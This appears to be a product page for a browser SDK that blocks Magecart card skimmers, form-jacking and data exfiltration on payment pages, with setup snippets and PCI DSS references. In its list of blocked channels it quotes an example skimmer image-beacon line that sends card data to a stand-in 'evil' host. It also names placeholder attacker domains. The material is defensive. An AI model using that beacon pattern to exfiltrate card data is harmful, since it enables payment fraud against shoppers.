Your WAF, your RASP, your backend SDK — all of them sit on the server. A card skimmer doesn't. It runs as JavaScript in the customer's browser, reads the card number out of the form as it's typed, and exfiltrates it to an attacker's domain before the data ever reaches your backend. The transaction still completes. Nothing on your server looks wrong. This is Magecart, and it's why PCI DSS 4.0.1 added client-side requirements that became mandatory in March 2025.
Nemesis Client-Side Shield is a browser SDK that learns your page's normal client-side behavior and enforces it: this page only ever loads these scripts and only ever talks to these origins. When a skimmer injects a script from an origin your page never uses, or tries to exfiltrate to a rogue endpoint, it's blocked — in the browser, where the theft actually happens.
One SDK for every front-end
React, Angular (including the old, buggy versions banks still run), Vue, jQuery, and plain JavaScript all compile down to the same browser primitives — the DOM, fetch, XMLHttpRequest, image beacons, WebSocket. The Shield hooks those primitives, so one SDK covers every framework. There is nothing to rewrite.
What it stops
- Data exfiltration on every channel a skimmer uses —
fetch, XHR,sendBeacon, image beacons (new Image().src="//evil/?cc=…"), WebSocket. Even if a skimmer runs, the stolen card data cannot leave to an un-approved origin. - Magecart / sideloaded scripts injected from an origin the page never normally loads.
- Form-jacking — a payment form silently re-pointed to submit to an attacker.
- Tamper + clickjacking — inline-script changes and un-approved framing are detected and alerted (PCI DSS 4.0.1 §11.6.1).
Get started in two minutes
flowchart LR A["① Add the tag<br/>or NemesisShield.init"] --> B["② Learn<br/>approved scripts +<br/>API origins"] B --> C["③ Approve<br/>your CDN, Stripe,<br/>analytics"] C --> D["④ Enforce<br/>skimmers & exfil<br/>blocked in-browser"]
A. Add one line. A drop-in <script> tag for any site (server-rendered, jQuery, legacy), or one init call in a bundled app:
<!-- any site — protects React, Angular, Vue, jQuery, raw JS -->
<script src="nemesis-shield.js" data-token="nsk_your_app_token"></script>// React / Vue / Angular — once at bootstrap
import NemesisShield from "@nemesis-shield/browser";
NemesisShield.init({ token: import.meta.env.VITE_NEMESIS_TOKEN });B. Learn. In observe mode the Shield records which script origins load and which endpoints the page calls (origins and shapes only — never card data, cookies, or DOM content).
C. Approve. In the console, approve your real dependencies — your CDN, your payment processor (Stripe, Adyen), your analytics.
D. Enforce. Now an injected script from evil-cdn.ru is removed before it loads, and an exfil call to evil-skimmer.ru — over any channel, including an image beacon — is blocked. Your customer's card stays in the browser and goes only where it's supposed to.
The honest part
We don't pretend to always prevent an inline script from executing after injection — that's what the detection + alert path (PCI 11.6.1) is for. But the exfiltration blocking is the guarantee that matters: even when a skimmer runs, the stolen data can't get out. That's defense-in-depth, stated plainly.
For developers
One line. Works with the framework you already have, including old ones. Fail-open — it never breaks the page. First-party traffic is always allowed, so it won't interfere with your own calls.
For the business
This is the control PCI DSS 4.0.1 §6.4.3 and §11.6.1 now require for payment pages — script inventory, authorization, and tamper detection — delivered as a per-app allow-list you approve in a console. For a bank, a fintech, or any e-commerce checkout, it's the difference between "we passed the audit" and "we can actually see and stop what happens in the customer's browser."